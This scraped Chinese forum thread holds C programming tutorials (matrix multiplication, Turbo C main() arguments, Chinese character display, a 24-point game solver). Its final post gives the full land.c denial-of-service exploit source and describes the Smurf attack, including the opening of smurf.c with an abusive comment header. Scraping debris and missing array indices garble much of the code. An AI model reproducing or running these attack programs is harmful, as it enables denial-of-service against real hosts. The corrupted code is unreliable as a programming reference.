 U D" z8 z8 J) k5 y5 O2 kclrscr();# F0 M0 G# Y, |6 }# C& M4 N' x2 C
} </DIV>

zan

转播0 淘帖0 分享0 收藏0 支持0 反对0 微信

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

8^#

发表于 2004-10-4 02:43 |只看该作者 |招呼Ta 关注Ta

<

align=center>两个矩阵相乘的源程序<

>/*****************A=B*C******************/
#include<stdio.h>
#include<conio.h>
#define X 3
#define Y 3<

>int a[X][Y];
int b[X][Y];
int c[X][Y];<

>void matrix(int b[][X],int c[][Y]);
main()
{
int i,j,temp;
clrscr();
printf("

lease input int matrix b[%d][%d]\n",X,Y);
for(i=0;i<Y;i++)
for(j=0;j<Y;j++){
scanf("%d",&temp);
b[j]=temp;# B( P, t* ` k6 D" y
}
0 {1 a3 w2 S2 U' O) C3 Z" yprintf("lease input int matrix c[%d][%d]\n",X,Y);
6 Z/ F, ]* _# k# w8 Dfor(i=0;i<X;i++)% a1 w5 X: t, N) K5 d. t6 s" a4 \
for(j=0;j<Y;j++){
- H' k z; m; J. C. escanf("%d",&temp);* K- i ]! R+ z- A5 S" F
c[j]=temp;9 a# B Y$ R3 s, Y& ?5 c
}- y+ G. J. E) }9 F& b# g! _' d. x
matrix(b,c);& K0 U0 s6 `6 _4 @- C T: D
printf("Now print resource matrix b[%d][%d]=",X,Y);
1 p3 ^, Q- K; u( b) C% h" bfor(i=0;i<X;i++){; s) t# @. `+ K# f4 G5 a# [- _6 ^
printf("\n");
6 d$ G& c4 z) g' @% u. yfor(j=0;j<Y;j++)7 y \# S$ Y2 I( ^
printf("%d ",b[j]);" `# p l& E4 T5 C
}+ T/ c& c' h, M3 p; c2 _$ p
printf("\n");
: ~9 R1 e, h# M/ a, {2 Dprintf("Now print resource matrix c[%d][%d]=",X,Y);7 m: E/ D" x% h+ w/ L' H
for(i=0;i<X;i++){
0 a+ Z) G) [2 K' w! L0 gprintf("\n");
1 q9 G% v' n/ c* Y" Z" Kfor(j=0;j<Y;j++)
4 P+ T- h/ [2 F4 b$ W) Nprintf("%d ",c[j]);. g) J: G& y3 T$ N4 A- {% Q
}
1 K. W! ~3 V: j0 Bprintf("\n");
- i0 w! f0 }, L$ K, m9 p0 Jprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);$ L8 n! ^$ S; y0 V1 `
for(i=0;i<X;i++){+ _# D1 G0 b7 u9 o
printf("\n");
- v. V6 r* D1 x/ b* z) q; a: zfor(j=0;j<Y;j++)
$ B0 k7 V' x3 h& Z* dprintf("%d ",a[j]);
* i) j3 ^1 {0 y0 n( d}
- `) o( A' i9 S( Agetch();
; G' C, |& m/ Areturn 0;
* b% V x u# ~% Y1 L# A}
; z) Z1 R2 F9 C) [% ]/********************************************************************/
* ~6 S* `8 F6 @. tvoid matrix(int b[][X],int c[][Y])
2 y9 q3 ?' I) _' Q; D' S{, v4 u. H8 u9 D- T4 }9 H
int i,j,k,temp;
& K* y9 R& O% Y; b D/ p+ U4 Ufor(i=0;i<X;i++)6 a& w; I' i2 _7 L
for(j=0;j<Y;j++){
5 D' N5 m6 J+ Jfor(k=0;k<Y;k++)
" v' T' t2 D7 L- {a[j]+=b[k]*c[k][j];
. h: O- D% @! {; ]}$ R7 t4 z1 s7 t, S
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

7^#

发表于 2004-10-4 02:41 |只看该作者 |招呼Ta 关注Ta

<

>　　再谈main()主函数
　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
argv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

6^#

发表于 2004-10-4 02:41 |只看该作者 |招呼Ta 关注Ta

<

align=center>
图形模式下的汉字显示<

>　<

>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
long l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle<0 ) return -1; while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x07f;
f=1;
}
else{
c2=(i-0xa1)&0x07f;
f=0;
rec=c1*94+c2;
l=rec*32L;
lseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1<16;i1++)
for(i2=0;i2<2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
x=x+z+16;
}
}
return(x);
}
函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
{
return((c>>n)&1);
}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
{
close( handle );
}
#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,&gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
getch();
closegraph();
}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
long l; /*color:汉字颜色*/
char by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle<0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x7f;
f=1;
}
else{
c2=(i-0xa1)&0x7f;
f=0;
rec=(c1-15)*94+c2;
l=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1<24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2<=2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
x=x+24*m+z;
}
}
return(x);
} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
getch();
closegraph();
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

5^#

发表于 2004-10-4 02:40 |只看该作者 |招呼Ta 关注Ta

<

align=center>关于二十四点游戏的编程思路与基本算法<

align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
首先穷举的可行性问题。我把表达式如下分成三类——
1、无括号的简单表达式。
2、有一个括号的简单表达式。
3、有两个括号的较复4、杂表达式。
穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p<4;p++)
{ for(r=0,flag=0;r<J;R++)
if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
}
for(s[j]=0;s[j]<4-j;s[j]++)
{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h<4;h++)
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
for(h=0;h<3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
}
else { j++;
fans(c,k,ans,kans,j);
j--;
}
}
}

　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]<4;k[j]++)
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
{ ans[5]=sy[k[j]];
/* 此处根据不同的表达式形式再进行相应的处理 */
}
else { j++; sans(ans,sy,j--,h); }
}
}

　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m<=4;m+=2)
for(n=m+4;n<=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
<

align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

　　那么作为栈的著名应用，表达式的计算可以有两种方法。

　　第一种方法——
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、若W为操作数
2、则将W压入操作数栈OVS
3、且继续扫描下一个字符
4、若W为运算符
5、则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

　　第二种方法——
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式波兰表达式
A-B AB-
（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/

　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。

　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
case '(': p=0; break;
case '=': p=-1; break;
}
return(p);
}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
/* sp[]为表达式数组 */
int mid_last()
{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
while(c!='\0')
{ if(islower(c)) sp[j++]=c;
else switch(c)
{ case '+':
case '-':
case '*':
case '/': while(first(c)<=first(sm[top]))
sp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
sp[j++]=sm[top--];
top--; break;
default :return(1);
}
c=s[++i];
}
while(top>0) sp[j++]=sm[top--];
sp[j]='\0'; return(0);
}
/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
ver数组中存放着这些字母所代替的数*/
else switch(c)
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
default : return(1);
}
c=sp[++i];
}
if(top>0) return(1);
else { result=sm[top]; return(0); }
}

　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

　　最后我总结了一下这其中容易出错的地方——

　　1、排列的时候由于一个数只能出现一次，所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

4^#

发表于 2004-10-4 02:40 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>以前常用的攻击软件源代码 </DIV><

>常用攻击程序<

>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。<

>1 Land<

>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。<

>
/* land.c by m3lt, FLC
crashes a win95 box */<

>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
#include <SYS types.h>
#include <SYS socket.h>
#include <NETINET ip.h>
#include <NETINET tcp.h><

>//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};<

>//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;<

>for(i=0;i<(length>>1);i++)
value+=data;<>if((length&1)==1)
: M) B9 q s9 p7 q, Hvalue+=(data<<8);<>value=(value&65535)+(value>>16);<>return(~value);3 O* y. k7 |0 O* D& b) c" E
}<>
) _+ `: |4 S. W0 U( {+ z5 R0 Z( _int main(int argc,char * * argv)2 l8 {: [7 M% r$ l* G
{
- s) I0 i8 @. o7 |* z; pstruct sockaddr_in sin;: A W! Z6 l" t% L+ w; @6 G
struct hostent * hoste;8 f9 Q/ A' s3 N7 f: G
int sock;
1 E" ^6 W) s6 L, ychar buffer[40];
; E5 @+ y. K6 }, O7 {struct iphdr * ipheader=(struct iphdr *) buffer;
& j+ @/ c$ W5 K( Estruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
. s- a- w. P5 A) I" r: \. ystruct pseudohdr pseudoheader;<>fprintf(stderr,"land.c by m3lt, FLC\n");<>if(argc<3)
& O/ w: F1 i' c9 {9 _% d{; u3 i4 ~7 M, k# q' V
fprintf(stderr,"usage: %s IP port\n",argv[0]);9 ~4 y% d% q* y$ u8 G6 a4 r
return(-1);" v. s% H6 G7 L' l9 Y1 L5 j4 {
}<>bzero(&sin,sizeof(struct sockaddr_in));; B" Y1 U2 U- e0 w B, d
sin.sin_family=AF_INET;<>if((hoste=gethostbyname(argv[1]))!=NULL)
8 [, s. w1 D$ Kbcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
! `. g: ^, E6 X! @0 q- lelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
$ O, @+ g! O/ {& @+ h& V{4 A2 j7 \( D* Z/ r8 }2 ^8 _% A; z
fprintf(stderr,"unknown host %s\n",argv[1]);5 a9 _3 j9 _& V/ U3 I+ [& ~+ Z
return(-1);- q C; h+ h k' ?
}<>if((sin.sin_port=htons(atoi(argv[2])))==0)' m% {5 q* [( @. V
{
7 `$ ]: m/ O0 S8 M s7 [7 Cfprintf(stderr,"unknown port %s\n",argv[2]);6 I9 s7 ^) J# ?; S+ Z
return(-1);& s* W, Z% }/ Y$ |1 y: X7 V
}<>//new一个SOCK—RAW以发伪造IP包这需要root权限, W$ G# K h" T2 j7 L* R
if((sock=socket(AF_INET,SOCK_RAW,255))==-1) j: p* |, f6 J `' v6 U6 T5 H
{* O! c: _ Q M, O
fprintf(stderr,"couldn't allocate raw socket\n");
8 R2 s$ e/ P! Q! L/ d/ N7 L5 d' Ereturn(-1);
9 m( E1 R, P, U' ?}<>bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));% s7 R7 ^+ d) P, I
ipheader->version=4;
& s" n5 s( H# Q1 }; \! yipheader->ihl=sizeof(struct iphdr)/4;7 ^7 o6 Q; x6 A0 }" N- O! U
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
0 S+ |7 ^' Z/ U# F4 x6 W) lipheader->id=htons(0xF1C);: N/ N. ?& |5 S# w0 I/ R5 m+ t- n
ipheader->ttl=255; ~# \, k& R* ~" h# d3 I
ipheader->protocol=IP_TCP;<>//目的IP地址和源IP地址相同
3 `2 X5 A( v& W0 Bipheader->saddr=sin.sin_addr.s_addr;
, c5 E; {# {" Eipheader->daddr=sin.sin_addr.s_addr;<>//目的TCP端口和源TCPIP端口相同
4 w2 `5 v: X$ N5 c# ~$ H9 @& @- mtcpheader->th_sport=sin.sin_port;
& g& z3 P1 D- itcpheader->th_dport=sin.sin_port;, R( K1 h$ U# @
tcpheader->th_seq=htonl(0xF1C);0 S; a( k; @! B. t; t& O$ M
tcpheader->th_flags=TH_SYN;7 F* k7 g) w7 N. c0 P6 V# k' _
tcpheader->th_off=sizeof(struct tcphdr)/4;3 {2 I! |' _8 `: p* d$ S( _- g
tcpheader->th_win=htons(2048);<>bzero(&pseudoheader,12+sizeof(struct tcphdr));
# x- L7 ~4 J" y% E0 wpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;( G" E3 J# Y5 ^1 y& E
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
4 Z) k# X/ A1 ]9 v* w9 V( E( Ypseudoheader.protocol=6;
6 b z5 C Y1 d. Ypseudoheader.length=htons(sizeof(struct tcphdr));: F* P. C2 E Y- V3 m9 S
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));- c( o1 |" x/ H8 |( B
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));<>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),$ X, D5 t# e& r) [2 {& d
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
6 D# r- q. t9 M* G{
3 y Y0 i7 ~& b: C) Cfprintf(stderr,"couldn't send packet\n");
/ x* @8 j+ y7 t' x/ s! F1 z& wreturn(-1);
+ p, R3 }5 y: Y5 Z9 r1 H}<>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);<>close(sock);! C9 H- A) ? ]9 ~
return(0);
) b3 E9 t: _4 q0 ]) I}<>" ~1 q6 b: r8 T2 h: M
2 Smurf
+ C; c6 \0 d4 ?/ F! D0 d% U! ismurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
9 P k9 u0 t: S4 Q据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
+ f* W- |, m$ \- j- U的源地址）崩溃。<>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
; Z; B* h* m6 G( J3 Z- L! x) \icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢, U* d" z- e. J1 Q
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。<>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。<>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
& L3 s7 e! N) H9 H. T成不可能（没有WINS服务器时）。/*$ V% Y1 Z K4 Y" z) q' V$ O8 @
*
. R o9 W$ j- [8 O3 F* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
( [# N, u7 M7 u. l6 }*5 f& y5 z3 F( r
* spoofs icmp packets from a host to various broadcast addresses resulting
$ u4 p2 M9 O/ B l7 j8 p0 a* in multiple replies to that host from a single packet.0 M9 [" R" M' [3 R$ ]7 _2 t) A
*
6 ?9 r5 c; ^ F6 m* mad head t. h1 E0 I: w8 c
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,$ l' h; d' x/ d1 O9 @ p& H: X
* MissSatan for swallowing, napster for pimping my sister, the guy that8 i$ P) P, Q/ U" u+ u8 m9 o
* invented vaseline, fyber for trying, knowy, old school #havok, kain+ \* M/ M# J' G; h
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
/ }# [- W4 w* c5 V. i3 w' ]& p6 ?* have missed (you know who you are).4 l" Q) v0 @5 ~* [: V
*; L' M0 I! o2 }1 z; Q/ F2 D
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
( l* _0 Y) ~% d9 e+ d3 U1 I* thing he is (he's -almost- as stubborn as me, still i managed to pick up1 R/ Z& Y5 k! c' Q7 A7 I
* half the cheque).; h9 L7 U# K! l8 x9 W
*
! o) u& I, s: P5 ?3 _* and a special hi to Todd, face it dude, you're fucking awesome.
3 o$ C. S y4 f. V4 l( Y*' p+ _9 l0 u8 H
* mad anal t
; X, X$ w. {' b m* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps7 Q1 o* Q9 @0 n
* because they plain suck, Rolex for being a twit, everyone that
1 d& R* o: o' G$ J& e3 A8 e9 @2 w* trades warez, Caren for being a lesbian hoe, AcidKill for being her# G1 k) P5 E3 {. R' l
* partner, #cha0s, sedriss for having an ego in inverse proportion to# w6 T P! S1 g) n: c8 ]" s0 y
* his penis and anyone that can't pee standing up -- you don't know what. I0 ^! W: O0 |$ m+ P
* your missing out on.9 y0 b& D: Y4 W% u& @% P
*1 u2 R. q; |& ]
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
" a+ l0 X& q, e- a7 e$ m* interesting).+ `& z H. c' O% c- H
*, f7 O- M# o0 X9 N+ [. H1 t/ p
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill. W& t( r4 v6 E% W6 o$ e: q/ j% L
* Robbins for trying to steal my girlfriend. Not only did you show me
- Q4 k8 z8 ]+ ?; Z4 x9 f* no respect but you're a manipulating prick who tried to take away the6 v5 u- ~ ?4 E1 O4 X7 I B2 G2 P6 f
* most important thing in the world to me with no guilt whatsoever, and
1 z3 }/ P1 C N9 `& M8 w2 P* for that I wish you nothing but pain. Die.# _5 |5 `' A2 i! b- w0 e/ |' r
*
5 x8 R K3 r* a2 @9 {/ I* disclaimer:
$ c( d* J2 a% j* J8 Q5 M* b* I cannot and will not be held responsible nor legally bound for the0 e, x5 d3 y8 ], q$ R
* malicious activities of individuals who come into possession of this4 w+ ^3 o( q. B0 I, E1 I
* program and I refuse to provide help or support of any kind and do NOT
3 E0 T" [! k- W* condone use of this program to deny service to anyone or any machine.
- G) F4 ^0 f" p* This is for educational use only. Please Don't abuse this.4 S9 F4 \. |6 O; r0 C
*
7 ~) O- c" s7 i% o4 F6 [* Well, i really, really, hate this code, but yet here I am creating another
5 `) a4 T3 n- w% ] [( }5 n* disgusting version of it. Odd, indeed. So why did I write it? Well, I," P E9 S8 o! i& i. D
* like most programmers don't like seeing bugs in their code. I saw a few
8 I$ G( o6 u4 B D* n" d2 b* things that should have been done better or needed fixing so I fixed% l2 {* M$ t" `* _! b5 Q ^
* them. -shrug-, programming for me as always seemed to take the pain away
2 Z9 Z0 p) K- L& J* ...
3 D* y( T$ n" b- B- y*
& Z( R+ U, A5 D" H k*
0 E) a/ L" S* V6 A5 L*/#include <SIGNAL.H>
